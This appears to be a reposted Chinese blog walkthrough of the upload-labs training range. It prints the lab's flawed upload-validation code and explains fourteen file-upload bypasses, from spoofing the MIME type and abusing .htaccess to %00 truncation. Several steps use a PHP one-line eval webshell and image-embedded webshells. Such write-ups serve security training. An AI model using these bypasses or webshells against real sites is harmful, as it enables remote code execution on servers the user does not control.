upload-labs(文件上传)

Posted npfs

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了upload-labs(文件上传)相关的知识,希望对你有一定的参考价值。

Pass-01

考察点:前端绕过

各种文件都上传一遍,发现上传.php文件时,alert:该文件不允许上传,请上传.jpg|.png|.gif,当前文件类型为:php,这表明验证点在前端(js),而不在服务端.

F12找找js源码,整理如下:


function checkFile() {
var file = document.getElementsByName(‘upload_file‘)[0].value;
if (file == null || file == "") {
	alert("请选择要上传的文件!");
	return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name) == -1) {
	var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
	alert(errMsg);
	return false;
}
}

直接修改js代码或者上传一个有一句话木马<?php @eval($_POST[value]);?>的符合题目后缀要求的文件,抓包修改请求内容绕过,蚁剑链接

Pass-02

考察点:服务器端MIME绕过

$is_upload = false;
$msg = null;
if (isset($_POST[‘submit‘])) {
    if (file_exists(UPLOAD_PATH)) {
        if (($_FILES[‘upload_file‘][‘type‘] == ‘image/jpeg‘) || ($_FILES[‘upload_file‘][‘type‘] == ‘image/png‘) 
          || ($_FILES[‘upload_file‘][‘type‘] == ‘image/gif‘)) {
            $temp_file = $_FILES[‘upload_file‘][‘tmp_name‘];
            $img_path = UPLOAD_PATH . ‘/‘ . $_FILES[‘upload_file‘][‘name‘]            
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = ‘上传出错!‘;
            }
        } else {
            $msg = ‘文件类型不正确,请重新上传!‘;
        }
    } else {
        $msg = UPLOAD_PATH.‘文件夹不存在,请手工创建!‘;
    }
}

很明显对Content-Type进行了检查,抓包更改Content-Type进行绕过即可,上传成功,蚁剑连接

Pass-03

考察点 黑名单过滤

上传一个写有AddType application/x-httpd-php .jpg的.htaccess文件,然后再上传一个写有一句话木马的.jpg文件,蚁剑连接。

.htaccess作用:可以把 .jpg后缀格式的文件名以php格式解析,因此达到了可执行的效果

Pass-04

考察点 .htaccess绕过

同上

Pass-05

考察点 .user.ini

做法类似.htaccess,上传一个写有auto_prepend_file=1.jpg为后缀的.user.ini文件,然后在上传一个写有一句话木马的jpg文件,上传成功后,蚁剑连接,但是要注意,题目提示上传目录存在php文件(readme.php)所以蚁剑连接的时候要把文件名改成readme.php

.user.ini作用 所有的php文件都自动包含jpg文件

Pass-06

考察点 大小写绕过

看源码,黑名单几乎过滤了所有后缀包括.htaccess,但是发现没有对大小写设置,抓包改下大小写绕过

Pass-07

考察点 空格绕过

空格过滤,直接抓包加空格就好了

Pass-08

考察点 点号绕过

抓包加点

Pass-09

考察点 ::$DATA绕过

::$DATA作用:php在windows中如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名.且保持"::$DATA"之前的文件名(Windows文件流特性)

上传一句话木马的.php后缀文件,抓包加::$DATA,上传成功,蚁剑连接(连接的时候要把文件名的::$DATA去掉)

Pass-10

考察点 .[空格].绕过

注意拼接部分$img_path = UPLOAD_PATH.‘/‘.$file_name;最后保存的是原始文件,而不是经过检测的文件

Pass-11

考察点 双写绕过

$file_name = str_ireplace($deny_ext,"", $file_name);很明显是双写绕过,str_ireplace()函数的作用如下:

把字符串 "Hello world!" 中的字符 "WORLD"(不区分大小写)替换成 "Shanghai":
<?php
echo str_ireplace("WORLD","Shanghai","Hello world!");
?>

抓包,把.php后缀改为.pphphp,成功绕过

Pass-12

考察点 00截断(GET)

截断条件:
1、php版本小于5.3.4
2、php.ini的magic_quotes_gpc为OFF状态

原理:

url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,表示字符串结束,所以当url中出现%00时就会认为读取已结束

使用情况:

上传时路径可控,使用00截断
文件下载时,00截断绕过白名单检查
文件包含时,00截断后面限制(主要是本地包含时)
其它与文件操作有关的地方都可能使用00截断。
$img_path = $_GET[‘save_path‘]."/".rand(10, 99).date("YmdHis").".".$file_ext;

构造sava_path=/upload/1.php%00绕过

Pass-13

考察点 00截断(POST)

 $img_path = $_POST[‘save_path‘]."/".rand(10, 99).date("YmdHis").".".$file_ext;

原理同上,但由于save_path参数通过POST方式传递,而POST不会像GET那样对%00进行自动解码,所以需要在二进制中进行修改 ,将hex改为00

Pass-14

考察点 图片马上传

可以将图片带入到PHP代码里,从而导致PHP代码执行

图片马制作

GIF的文件头GIF89a ,ZIP压缩文件文件头PK ,7z压缩文件文件头7z

法1.创建一个空的.php文件,用notepad++写入GIF89a  <?php @eval($_POST[value]);?>
法2.gif后缀文件,用notepad++写入一句话木马

把制作好的图片马上传,打开文件包含漏洞发送GET请求?file=upload/图片文件名,蚁剑连接即可



以上是关于upload-labs(文件上传)的主要内容,如果未能解决你的问题,请参考以下文章

代码审计upload-labs上传漏洞靶场

文件上传及upload-labs闯关

upload-labs(文件上传)

Upload-labs

upload-labs之pass 16详细分析

web安全基础-文件上传(含部分upload-labs靶场通关)